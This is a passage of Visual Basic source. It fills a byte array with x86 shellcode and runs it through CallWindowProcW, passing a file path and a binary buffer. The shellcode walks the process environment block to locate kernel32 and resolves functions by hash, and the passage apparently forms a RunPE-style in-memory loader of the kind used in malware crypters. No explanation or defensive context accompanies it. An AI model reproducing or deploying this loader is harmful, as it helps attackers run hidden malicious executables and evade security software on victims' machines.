&H11Pink(781) = &H6APink(782) = &H3APink(783) = &HE8Pink(784) = &H5Pink(785) = &H1Pink(786) = &H0Pink(787) = &H0Pink(788) = &H8BPink(789) = &H9Pink(790) = &H3BPink(791) = &HCAPink(792) = &HFPink(793) = &H85Pink(794) = &H33Pink(795) = &HFFPink(796) = &HFFPink(797) = &HFFPink(798) = &H6APink(799) = &H32Pink(800) = &HE8Pink(801) = &HF4Pink(802) = &H0Pink(803) = &H0Pink(804) = &H0Pink(805) = &H8BPink(806) = &H9Pink(807) = &HC7Pink(808) = &H1Pink(809) = &H7Pink(810) = &H0Pink(811) = &H1Pink(812) = &H0Pink(813) = &H6APink(814) = &H0Pink(815) = &HE8Pink(816) = &HE5Pink(817) = &H0Pink(818) = &H0Pink(819) = &H0Pink(820) = &H68Pink(821) = &HD2Pink(822) = &HC7Pink(823) = &HA7Pink(824) = &H68Pink(825) = &H51Pink(826) = &HE8Pink(827) = &H11Pink(828) = &H1Pink(829) = &H0Pink(830) = &H0Pink(831) = &H6APink(832) = &H32Pink(833) = &HE8Pink(834) = &HD3Pink(835) = &H0Pink(836) = &H0Pink(837) = &H0Pink(838) = &H8BPink(839) = &H11Pink(840) = &H6APink(841) = &H2EPink(842) = &HE8Pink(843) = &HCAPink(844) = &H0Pink(845) = &H0Pink(846) = &H0Pink(847) = &H8BPink(848) = &H9Pink(849) = &H52Pink(850) = &HFFPink(851) = &H71Pink(852) = &H4Pink(853) = &HFFPink(854) = &HD0Pink(855) = &H6APink(856) = &H22Pink(857) = &HE8Pink(858) = &HBBPink(859) = &H0Pink(860) = &H0Pink(861) = &H0Pink(862) = &H8BPink(863) = &H39Pink(864) = &H83Pink(865) = &HC7Pink(866) = &H34Pink(867) = &H6APink(868) = &H32Pink(869) = &HE8Pink(870) = &HAFPink(871) = &H0Pink(872) = &H0Pink(873) = &H0Pink(874) = &H8BPink(875) = &H31Pink(876) = &H8BPink(877) = &HB6Pink(878) = &HA4Pink(879) = &H0Pink(880) = &H0Pink(881) = &H0Pink(882) = &H83Pink(883) = &HC6Pink(884) = &H8Pink(885) = &H6APink(886) = &H2EPink(887) = &HE8Pink(888) = &H9DPink(889) = &H0Pink(890) = &H0Pink(891) = &H0Pink(892) = &H8BPink(893) = &H11Pink(894) = &H6APink(895) = &H46Pink(896) = &HE8Pink(897) = &H94Pink(898) = &H0Pink(899) = &H0Pink(900) = &H0Pink(901) = &H51Pink(902) = &H6APink(903) = &H4Pink(904) = &H57Pink(905) = &H56Pink(906) = &HFFPink(907) = &H32Pink(908) = &H6APink(909) = &H0Pink(910) = &HE8Pink(911) = &H86Pink(912) = &H0Pink(913) = &H0Pink(914) = &H0Pink(915) = &H68Pink(916) = &HA1Pink(917) = &H6APink(918) = &H3DPink(919) = &HD8Pink(920) = &H51Pink(921) = &HE8Pink(922) = &HB2Pink(923) = &H0Pink(924) = &H0Pink(925) = &H0Pink(926) = &H83Pink(927) = &HC4Pink(928) = &HCPink(929) = &HFFPink(930) = &HD0Pink(931) = &H6APink(932) = &H22Pink(933) = &HE8Pink(934) = &H6FPink(935) = &H0Pink(936) = &H0Pink(937) = &H0Pink(938) = &H8BPink(939) = &H9Pink(940) = &H8BPink(941) = &H51Pink(942) = &H28Pink(943) = &H3Pink(944) = &H51Pink(945) = &H34Pink(946) = &H6APink(947) = &H32Pink(948) = &HE8Pink(949) = &H60Pink(950) = &H0Pink(951) = &H0Pink(952) = &H0Pink(953) = &H8BPink(954) = &H9Pink(955) = &H81Pink(956) = &HC1Pink(957) = &HB0Pink(958) = &H0Pink(959) = &H0Pink(960) = &H0Pink(961) = &H89Pink(962) = &H11Pink(963) = &H6APink(964) = &H0Pink(965) = &HE8Pink(966) = &H4FPink(967) = &H0Pink(968) = &H0Pink(969) = &H0Pink(970) = &H68Pink(971) = &HD3Pink(972) = &HC7Pink(973) = &HA7Pink(974) = &HE8Pink(975) = &H51Pink(976) = &HE8Pink(977) = &H7BPink(978) = &H0Pink(979) = &H0Pink(980) = &H0Pink(981) = &H6APink(982) = &H32Pink(983) = &HE8Pink(984) = &H3DPink(985) = &H0Pink(986) = &H0Pink(987) = &H0Pink(988) = &H8BPink(989) = &HD1Pink(990) = &H6APink(991) = &H2EPink(992) = &HE8Pink(993) = &H34Pink(994) = &H0Pink(995) = &H0Pink(996) = &H0Pink(997) = &H8BPink(998) = &H9Pink(999) = &HFFPink(1000) = &H32Pink(1001) = &HFFPink(1002) = &H71Pink(1003) = &H4Pink(1004) = &HFFPink(1005) = &HD0Pink(1006) = &H6APink(1007) = &H0Pink(1008) = &HE8Pink(1009) = &H24Pink(1010) = &H0Pink(1011) = &H0Pink(1012) = &H0Pink(1013) = &H68Pink(1014) = &H88Pink(1015) = &H3FPink(1016) = &H4APink(1017) = &H9EPink(1018) = &H51Pink(1019) = &HE8Pink(1020) = &H50Pink(1021) = &H0Pink(1022) = &H0Pink(1023) = &H0Pink(1024) = &H6APink(1025) = &H2EPink(1026) = &HE8Pink(1027) = &H12Pink(1028) = &H0Pink(1029) = &H0Pink(1030) = &H0Pink(1031) = &H8BPink(1032) = &H9Pink(1033) = &HFFPink(1034) = &H71Pink(1035) = &H4Pink(1036) = &HFFPink(1037) = &HD0Pink(1038) = &H6APink(1039) = &H4APink(1040) = &HE8Pink(1041) = &H4Pink(1042) = &H0Pink(1043) = &H0Pink(1044) = &H0Pink(1045) = &H8BPink(1046) = &H21Pink(1047) = &H61Pink(1048) = &HC3Pink(1049) = &H8BPink(1050) = &HCBPink(1051) = &H3Pink(1052) = &H4CPink(1053) = &H24Pink(1054) = &H4Pink(1055) = &HC3Pink(1056) = &H6APink(1057) = &H0Pink(1058) = &HE8Pink(1059) = &HF2Pink(1060) = &HFFPink(1061) = &HFFPink(1062) = &HFFPink(1063) = &H68Pink(1064) = &H54Pink(1065) = &HCAPink(1066) = &HAFPink(1067) = &H91Pink(1068) = &H51Pink(1069) = &HE8Pink(1070) = &H1EPink(1071) = &H0Pink(1072) = &H0Pink(1073) = &H0Pink(1074) = &H6APink(1075) = &H40Pink(1076) = &H68Pink(1077) = &H0Pink(1078) = &H10Pink(1079) = &H0Pink(1080) = &H0Pink(1081) = &HFFPink(1082) = &H74Pink(1083) = &H24Pink(1084) = &H18Pink(1085) = &H6APink(1086) = &H0Pink(1087) = &HFFPink(1088) = &HD0Pink(1089) = &HFFPink(1090) = &H74Pink(1091) = &H24Pink(1092) = &H14Pink(1093) = &HE8Pink(1094) = &HCFPink(1095) = &HFFPink(1096) = &HFFPink(1097) = &HFFPink(1098) = &H89Pink(1099) = &H1Pink(1100) = &H83Pink(1101) = &HC4Pink(1102) = &H10Pink(1103) = &HC3Pink(1104) = &HE8Pink(1105) = &H22Pink(1106) = &H0Pink(1107) = &H0Pink(1108) = &H0Pink(1109) = &H68Pink(1110) = &HA4Pink(1111) = &H4EPink(1112) = &HEPink(1113) = &HECPink(1114) = &H50Pink(1115) = &HE8Pink(1116) = &H4BPink(1117) = &H0Pink(1118) = &H0Pink(1119) = &H0Pink(1120) = &H83Pink(1121) = &HC4Pink(1122) = &H8Pink(1123) = &HFFPink(1124) = &H74Pink(1125) = &H24Pink(1126) = &H4Pink(1127) = &HFFPink(1128) = &HD0Pink(1129) = &HFFPink(1130) = &H74Pink(1131) = &H24Pink(1132) = &H8Pink(1133) = &H50Pink(1134) = &HE8Pink(1135) = &H38Pink(1136) = &H0Pink(1137) = &H0Pink(1138) = &H0Pink(1139) = &H83Pink(1140) = &HC4Pink(1141) = &H8Pink(1142) = &HC3Pink(1143) = &H55Pink(1144) = &H52Pink(1145) = &H51Pink(1146) = &H53Pink(1147) = &H56Pink(1148) = &H57Pink(1149) = &H33Pink(1150) = &HC0Pink(1151) = &H64Pink(1152) = &H8BPink(1153) = &H70Pink(1154) = &H30Pink(1155) = &H8BPink(1156) = &H76Pink(1157) = &HCPink(1158) = &H8BPink(1159) = &H76Pink(1160) = &H1CPink(1161) = &H8BPink(1162) = &H6EPink(1163) = &H8Pink(1164) = &H8BPink(1165) = &H7EPink(1166) = &H20Pink(1167) = &H8BPink(1168) = &H36Pink(1169) = &H38Pink(1170) = &H47Pink(1171) = &H18Pink(1172) = &H75Pink(1173) = &HF3Pink(1174) = &H80Pink(1175) = &H3FPink(1176) = &H6BPink(1177) = &H74Pink(1178) = &H7Pink(1179) = &H80Pink(1180) = &H3FPink(1181) = &H4BPink(1182) = &H74Pink(1183) = &H2Pink(1184) = &HEBPink(1185) = &HE7Pink(1186) = &H8BPink(1187) = &HC5Pink(1188) = &H5FPink(1189) = &H5EPink(1190) = &H5BPink(1191) = &H59Pink(1192) = &H5APink(1193) = &H5DPink(1194) = &HC3Pink(1195) = &H55Pink(1196) = &H52Pink(1197) = &H51Pink(1198) = &H53Pink(1199) = &H56Pink(1200) = &H57Pink(1201) = &H8BPink(1202) = &H6CPink(1203) = &H24Pink(1204) = &H1CPink(1205) = &H85Pink(1206) = &HEDPink(1207) = &H74Pink(1208) = &H43Pink(1209) = &H8BPink(1210) = &H45Pink(1211) = &H3CPink(1212) = &H8BPink(1213) = &H54Pink(1214) = &H28Pink(1215) = &H78Pink(1216) = &H3Pink(1217) = &HD5Pink(1218) = &H8BPink(1219) = &H4APink(1220) = &H18Pink(1221) = &H8BPink(1222) = &H5APink(1223) = &H20Pink(1224) = &H3Pink(1225) = &HDDPink(1226) = &HE3Pink(1227) = &H30Pink(1228) = &H49Pink(1229) = &H8BPink(1230) = &H34Pink(1231) = &H8BPink(1232) = &H3Pink(1233) = &HF5Pink(1234) = &H33Pink(1235) = &HFFPink(1236) = &H33Pink(1237) = &HC0Pink(1238) = &HFCPink(1239) = &HACPink(1240) = &H84Pink(1241) = &HC0Pink(1242) = &H74Pink(1243) = &H7Pink(1244) = &HC1Pink(1245) = &HCFPink(1246) = &HDPink(1247) = &H3Pink(1248) = &HF8Pink(1249) = &HEBPink(1250) = &HF4Pink(1251) = &H3BPink(1252) = &H7CPink(1253) = &H24Pink(1254) = &H20Pink(1255) = &H75Pink(1256) = &HE1Pink(1257) = &H8BPink(1258) = &H5APink(1259) = &H24Pink(1260) = &H3Pink(1261) = &HDDPink(1262) = &H66Pink(1263) = &H8BPink(1264) = &HCPink(1265) = &H4BPink(1266) = &H8BPink(1267) = &H5APink(1268) = &H1CPink(1269) = &H3Pink(1270) = &HDDPink(1271) = &H8BPink(1272) = &H4Pink(1273) = &H8BPink(1274) = &H3Pink(1275) = &HC5Pink(1276) = &H5FPink(1277) = &H5EPink(1278) = &H5BPink(1279) = &H59Pink(1280) = &H5APink(1281) = &H5DPink(1282) = &HC3Pink(1283) = &HC3Pink(1284) = &H0Pink(1285) = &H0Pink(1286) = &H0Pink(1287) = &H0 CallWindowProcW VarPtr(Pink(0)), StrPtr(ruta), VarPtr(binario(0)), 0, 0End Sub